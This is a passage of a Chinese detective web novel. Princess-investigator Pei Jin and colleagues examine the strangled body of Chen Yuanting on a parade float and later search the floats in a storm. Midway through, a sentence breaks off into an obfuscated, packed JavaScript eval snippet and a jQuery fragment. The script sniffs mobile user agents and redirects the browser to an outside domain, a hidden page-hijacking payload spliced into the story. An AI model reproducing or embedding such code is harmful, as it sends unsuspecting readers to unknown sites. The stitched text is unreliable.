后面车听到两旁城民的呼喊、哭嚎,过了好一会儿才知道发生了什么,纷纷拉下急停,后面没停的,也撞上前车,停了下来。
陈渊渟所在的花车是第一辆,前面无车,车上也没有别人可以急停,竟然就这么载着他的尸体,开出好远。
后面的车都停了下来,公子小姐们乱作一团,有几个刚刚才从陈府放出来,好不容易参加个巡游,又给碰上了。
“天哪,是渊渟公子!”
“呜呜呜,我的渊渟公子啊~~”
“啊啊啊!”穿破云霄的尖叫声。
“我的天,陈家这是造了什么孽,姜月刚死,这陈渊渟也没了?!”
“赶紧走赶紧走,待会儿悬案司,又把我们关起来。”
好几个人跳车要走,裴瑾赶紧道:“拦住他们,都带到陈渊渟那里去!所有花车原地不动,不准任何人接近!”
官兵一动不动。
官兵你看我我看你:前八辆车这些公子小姐都是世家贵族、官老爷家眷,他们不确定这位景司务有没有这么大背景,不敢轻易行动。
赵倚歌无奈极了,悬案司的衙役和李司正一个德行,她只好说道:“景司务说什么你们就做什么。”
“是。”有了赵大人发话,官兵们这才行动起来。
赵倚歌低声对裴瑾说:“殿下见谅,想必案件频出,殿下的身份,李司正还未来得及吩咐下去。”
裴瑾摇了摇头表示不介意,但也深深感到无力,这远离皇城的地方,势力错综复杂,官员想办事都得看各方脸色,更不用说普通百姓了。
本是欢乐的百花节,一连两天离奇死亡两人,百姓又是恐惧又是难过,还有些实在喜欢陈公子的,跟着花车一路跑了好远。
一边追,一边哭,一边骂凶手。
“这样不行,十七,你能上车吗?”
张煦看了眼那慢如龟速的花车:“当然,殿下。”
“劳烦你去停车。”
“是。”
张煦拨开人群,一个踏云,飞上了花车,惹来人群一阵惊呼,他站在车辕上,往里一看,就找到了急停的拉手。
载着陈公子的花车,终于停了下来。
周围围满了居民,都伸着脑袋往花车瞧。
裴瑾几人赶到,她看了看花车内部,问道:“没有别人?”
张煦:“没有。”
车上只有陈渊渟,他到底怎么死的?
后面七辆车的人都被官兵截住,但是再后面的车却是没有办法,那些都是临时上车的居民,每辆车上都挤了不少人。
官兵人力有限,没有拦住他们。
不过大多数还是乖乖地聚在官兵身后,主动跟着。
裴瑾扫了那些居民一眼,皱了皱眉,有什么画面一闪而过,但没来得及捕捉。
“悬案司办案,闲杂人等,退开十丈!”李贵高喝。
人群被隔离开,四十辆花车也被官兵围了起来,裴瑾几人登上月白色的花车。
陈渊渟倒在车辕上,本来风华绝代的脸,现在面色发紫,触之干涩,眼睑出血。
裴瑾见他唇色发青,牙关紧咬,让张煦捏开下颌,发现舌骨已经骨折。
颈部有勒痕,与身体水平,身体凉凉的、有轻微尸斑,按之不退,关节四肢僵硬。
初步断定是他杀,死于窒息。
李筠节头都要秃了,他知道自己说出来一定会被怼,但还是忍不住说:“应该不是鬼吧……从上车到下车这都只有他一个人,难不成是自己把自己勒死的?”
果然,赵倚歌冷冷回道:“你可以自己试试。”
李筠节不服:“可以上吊啊。”
赵倚歌深感无力,好想撬开他的脑壳看看里面都装了些什么。
她解释:“被勒死之人,勒痕通常在颈中部或偏下,水平或略向上;而自缢的勒痕多偏斜,位置更高,呈‘上扬’的斜痕。”
“噢。”李筠节闭嘴了。
裴瑾补充道:“陈渊渟唇色发青,牙关紧咬,是因为气道阻断及剧烈挣扎造成的;而舌骨骨折,则说明是较大外力所致,就像这样。”裴瑾给了寒木一个眼色,寒木一个箭步冲到李筠节身后,掐住了他的脖子。
李筠节吓了一跳,脖颈好像被什么巨物卡住,喉咙舌根被挤压,快要断掉似的。
寒木见好就收,立刻放了手。
李筠节没受什么伤,咳了几下,立刻远离裴瑾和她的打手,好可怕的女人。
李贵移开目光,不是大事,不用出声。
“好吧,确实是他杀,那凶手是怎么杀人的呢?”
李贵绕着花车走了两圈,又看了看陈渊渟的尸体,迟疑着说:“凶手有没有可能,在车上杀了陈渊渟,又悄悄离开?”
他说完立刻自己否定掉了这种可能:“不太可能,一路上都有人围观。哪怕是云海画廊看不清晰,但里面只有铜轨,道路刚好容车辆通过,有人下车肯定会被后面的车碾成肉泥的。”
赵倚歌开始观察,翻找花车内部,她说:“会不会凶手本来就藏在车里?”
“啊?”李筠节寒毛都立了起来,缩到赵倚歌身后,牙齿打颤:“那他还在这儿?!”
赵倚歌十分嫌弃地把他拎出来。
“噗,那他岂不是快被吓死了?”裴瑾说道:“这么多悬案司的官员在这儿呢,你若是凶手,你怕不怕?”
“哎,好像,是这么回事?”
李筠节瞬间不怕了,凶手要真藏在这儿,该怕的是凶手才对呢。
赵倚歌没理他,钻进车厢里,检查了整辆车。
三条锦缎长椅,椅下有箱柜,她一一拉开,盒子很小,无法藏人。
长椅中央有个小桌子,很干净,什么也没有。
车内并无藏身之处,而且陈渊渟死后他们一直看守花车,一只苍蝇也没飞出来,车厢内除了正常磨损没有打斗痕迹。
裴瑾目光看向一旁的窗帘——被扯破了,看痕迹很新,奇怪。
难道陈渊渟真的是在这里被杀的?
裴瑾正在思考,李筠节突然一拍脑袋,欣喜道:“咦,会不会是车辆被换掉了?就是说陈渊渟死的这辆车,其实根本就不是第一辆?”
李贵抬手给了他一个脑瓜崩:“这怎么可能?只有第一辆车是月白色且有龙凤纹,而且从发车开始我们便一直盯着,怎么可能调包?何况这是轨道花车,只能朝一个方向行驶。”
事情透着诡异,暂时摸不到头绪。
李贵吩咐人将陈渊渟的尸体带回悬案司,命令属下将花车和轨道附近都看守起来,不许旁人接近。
听闻陈渊渟遇害,对陈家人来说,更是雪上加霜。
抱着既同情又怀疑的态度,李贵和赵倚歌去了陈府。
裴瑾带着张煦留在花车巡游现场。
现场百姓疏散得差不多了,只有一些难过得不能自已的姑娘,仍在远处哭泣。
裴瑾回忆着陈渊渟死时的模样:颈部勒痕干涸结痂,颜色暗淡;面部淤血发暗干涩;躯干尸斑按压不退;尸僵明显。
按此推断,陈渊渟应已死亡超过五个时辰——应是昨夜或今晨。
那之前花引官看到的戴面具之人是谁?
此人嫌疑极大,不是凶手也必有关联。
悬案司三人都未发现死亡时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936875|177256||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间异常,裴瑾也不欲声张。当时在场者众多,难保凶手不混迹其中。
她唤来花引官再仔细询问。
花引官描述来人身高体型时,裴瑾总觉有种熟悉感,却一时想不起。
陈渊渟早死是事实,今日花引官所见之人绝非他。
此人明明上了第一辆车,为何会无故失踪?且花车巡游顺序固定,中途无法上下车。
“凶手定用了某种手法掩盖真相。”裴瑾从第一辆车开始仔细检查。
张煦陪同道:“殿下可是觉得花车有问题?”
“我怀疑车辆被调包了。”
“那需要重点检查何处?”
“不知,随便看看。”裴瑾笑道:“十七你如此相信我?方才李筠节提调包时,我们不是已排除这种可能?”
张煦轻咳一声:“殿下自有道理,定是有些手法常人想不到。”
裴瑾噗嗤一笑:“没想到,裴十七大人也学会溜须拍马了?”
张煦沉默,这话他没法接。
裴瑾眨眨眼,转身继续检查车辆。
第一辆,第二辆,第三辆,一直到第八辆,每辆车的大小相近,制式相同,除了颜色和车壁上的花纹,其余几乎一致。
这八辆车,除了正常的磨损,好像都没有什么异常。
她不甘心,继续检查后面的。
后面乘坐的是百姓,足足有三十二辆,检查起来就更加费功夫了。
裴瑾检查得很仔细,不知不觉暮色低垂,天边翻涌着浓黑的云层,看来一会儿将要下暴雨。
“殿下快要下雨了,要先回府吗?”张煦出声提醒。
殿下工作起来,完全不注意自己身体。
由于长时间上下车查看车轮、车壁、车辕,裴瑾白皙的手,染上不少污渍,脸也像只花猫;发丝潮湿地贴在额头上,好看的衣裙沾染了污泥。
山雨欲来风满楼,天边卷起黑云,殿下太过投入,还没吃晚餐。
想到她总是不舒服的肠胃,张煦还是忍不住出声提醒道:“殿下,您还没有用晚膳。”
裴瑾这才回过神来,她看看天边,低声道:“暴雨可以冲刷掉所有的痕迹,洗去罪恶。”
“什么?”
“十七我们要快了,我有一种预感,若是等这场暴雨下下来,便什么痕迹都没有了。”
裴瑾没有回去,张煦只好跟着她一起加快速度检查。
眼见着天越来越暗,云层越来越厚,裴瑾的动作也不由地变得急促起来。
第九辆,第十辆,第二十辆,第三十辆。
豆大的雨点已经打在两人身上,四周的城民也散了个干净,就连守卫也找了屋檐避雨。
雨中只剩下裴瑾和撑着油纸伞的张煦。
蜀郡的雨又大又急,一把纸伞根本遮挡不了。
“殿下,回去吧。”
他不知道殿下这一次是不是想错了。
不过顶着这么大的雨,人肯定难受。他是个习武之人,并无大碍,可殿下身体本就不好,何至于此?
第四十辆……
最后一辆。
回应他的是裴瑾惊喜的声音:“十七,你快看!”
他看到殿下如玉的手指上粘着一块月白色的染料。
殿下狼狈极了,长发粘着脸颊贴着后背,湿透的衣衫让她整个人显得十分单薄,像个纸片似的,一吹就走。
张煦不自觉地挡在她身前,雨伞完全遮挡在她头顶。
低头间,那双圆圆的眼睛里闪着惊人的光芒,她得意地说:“还不是逃不出我的手心,嘿嘿。”
张煦被那笑容感染,也不自觉地笑了。